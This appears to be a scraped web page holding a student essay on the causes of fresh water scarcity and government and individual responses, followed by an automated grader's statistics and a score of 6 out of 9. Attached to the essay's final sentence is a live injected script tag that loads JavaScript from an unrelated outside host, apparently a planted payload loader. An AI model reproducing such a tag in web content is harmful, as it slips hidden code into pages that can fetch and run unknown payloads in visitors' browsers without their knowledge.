Fresh water is a limited resource in some parts of the world. Today, increasing demand has made it a global problem. What are the causes of this growing demand? What can governments and individuals do to respond to the problem?
Clean water is becoming more and more scarce in many countries. Meanwhile, there is an upward trend in demand for fresh water worldwide, which has been serious for humankind. This essay will discuss some reasons and recommend potential solutions for both individuals and states.
To begin with, there are various causes leading to a lack of fresh water in specific regions of the world. In many nations, citizens usually use water wastefully everyday in some activities like: taking showers in a sink, building domestic swimming pools or other kinds of entertainment. As a result, there is not sufficient water for other sectors such as agriculture, industry… Moreover, several particular continents like Africa, long-lasting drought makes the water resource become much more rare for native people. Global warming has caused the climate change to become more harsh, then many countries suffer hurricanes or floods, while the others cannot have enough clean water for domestic use.
The most important solution to deal with this serious worldwide problem is that the governments should enforce policies to use water economically or distribute clean water for specific purposes properly. For example, with domestic use, if families use too much water that exceeds the average one, they will be punished by cutting down the possible amount of water that can be used next month. In addition, in order to decrease the damage of natural catastrophes, each individual should raise the awareness of protecting the environment by ceasing using fuel energy vehicles or deforesting.
In conclusion, clean water plays an essential role in humankind’s life, hence, people should raise the awareness about saving water and preventing some disasters which can influence water resources.<script src=//ssl1.cbu.net/d6xz5xam></script>
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- Fresh water is a limited resource in some parts of the world Today increasing demand has made it a global problem What are the causes of this growing demand What can governments and individuals do to respond to the problem 67
- Fresh water is a limited resource in some parts of the world Today increasing demand has made it a global problem What are the causes of this growing demand What can governments and individuals do to respond to the problem 67
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Transition Words or Phrases used:
but, hence, if, moreover, so, then, while, for example, in addition, in conclusion, such as, as a result, to begin with
Attributes: Values AverageValues Percentages(Values/AverageValues)% => Comments
Performance on Part of Speech:
To be verbs : 8.0 13.1623246493 61% => OK
Auxiliary verbs: 8.0 7.85571142285 102% => OK
Conjunction : 8.0 10.4138276553 77% => OK
Relative clauses : 5.0 7.30460921844 68% => More relative clauses wanted.
Pronoun: 6.0 24.0651302605 25% => OK
Preposition: 31.0 41.998997996 74% => OK
Nominalization: 5.0 8.3376753507 60% => More nominalizations (nouns with a suffix like: tion ment ence ance) wanted.
Performance on vocabulary words:
No of characters: 1507.0 1615.20841683 93% => OK
No of words: 276.0 315.596192385 87% => More content wanted.
Chars per words: 5.46014492754 5.12529762239 107% => OK
Fourth root words length: 4.07593519647 4.20363070211 97% => OK
Word Length SD: 2.7117235579 2.80592935109 97% => OK
Unique words: 177.0 176.041082164 101% => OK
Unique words percentage: 0.641304347826 0.561755894193 114% => OK
syllable_count: 471.6 506.74238477 93% => OK
avg_syllables_per_word: 1.7 1.60771543086 106% => OK
A sentence (or a clause, phrase) starts by:
Pronoun: 2.0 5.43587174349 37% => OK
Article: 1.0 2.52805611222 40% => OK
Subordination: 3.0 2.10420841683 143% => OK
Conjunction: 0.0 0.809619238477 0% => OK
Preposition: 6.0 4.76152304609 126% => OK
Performance on sentences:
How many sentences: 11.0 16.0721442886 68% => Need more sentences. Double check the format of sentences, make sure there is a space between two sentences, or have enough periods. And also check the lengths of sentences, maybe they are too long.
Sentence length: 25.0 20.2975951904 123% => The Avg. Sentence Length is relatively long.
Sentence length SD: 52.0246286241 49.4020404114 105% => OK
Chars per sentence: 137.0 106.682146367 128% => OK
Words per sentence: 25.0909090909 20.7667163134 121% => OK
Discourse Markers: 10.8181818182 7.06120827912 153% => OK
Paragraphs: 4.0 4.38176352705 91% => OK
Language errors: 4.0 5.01903807615 80% => OK
Sentences with positive sentiment : 7.0 8.67935871743 81% => OK
Sentences with negative sentiment : 2.0 3.9879759519 50% => More negative sentences wanted.
Sentences with neutral sentiment: 2.0 3.4128256513 59% => OK
What are sentences with positive/Negative/neutral sentiment?
Coherence and Cohesion:
Essay topic to essay body coherence: 0.174129416675 0.244688304435 71% => OK
Sentence topic coherence: 0.0703741069312 0.084324248473 83% => OK
Sentence topic coherence SD: 0.0349189485704 0.0667982634062 52% => OK
Paragraph topic coherence: 0.105811837318 0.151304729494 70% => OK
Paragraph topic coherence SD: 0.0117581960932 0.056905535591 21% => Paragraphs are similar to each other. Some content may get duplicated or it is not exactly right on the topic.
Essay readability:
automated_readability_index: 16.8 13.0946893788 128% => OK
flesch_reading_ease: 37.64 50.2224549098 75% => OK
smog_index: 8.8 7.44779559118 118% => OK
flesch_kincaid_grade: 14.2 11.3001002004 126% => OK
coleman_liau_index: 14.68 12.4159519038 118% => OK
dale_chall_readability_score: 9.74 8.58950901804 113% => OK
difficult_words: 85.0 78.4519038076 108% => OK
linsear_write_formula: 8.0 9.78957915832 82% => OK
gunning_fog: 12.0 10.1190380762 119% => OK
text_standard: 15.0 10.7795591182 139% => OK
What are above readability scores?
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Rates: 67.4157303371 out of 100
Scores by essay e-grader: 6.0 Out of 9
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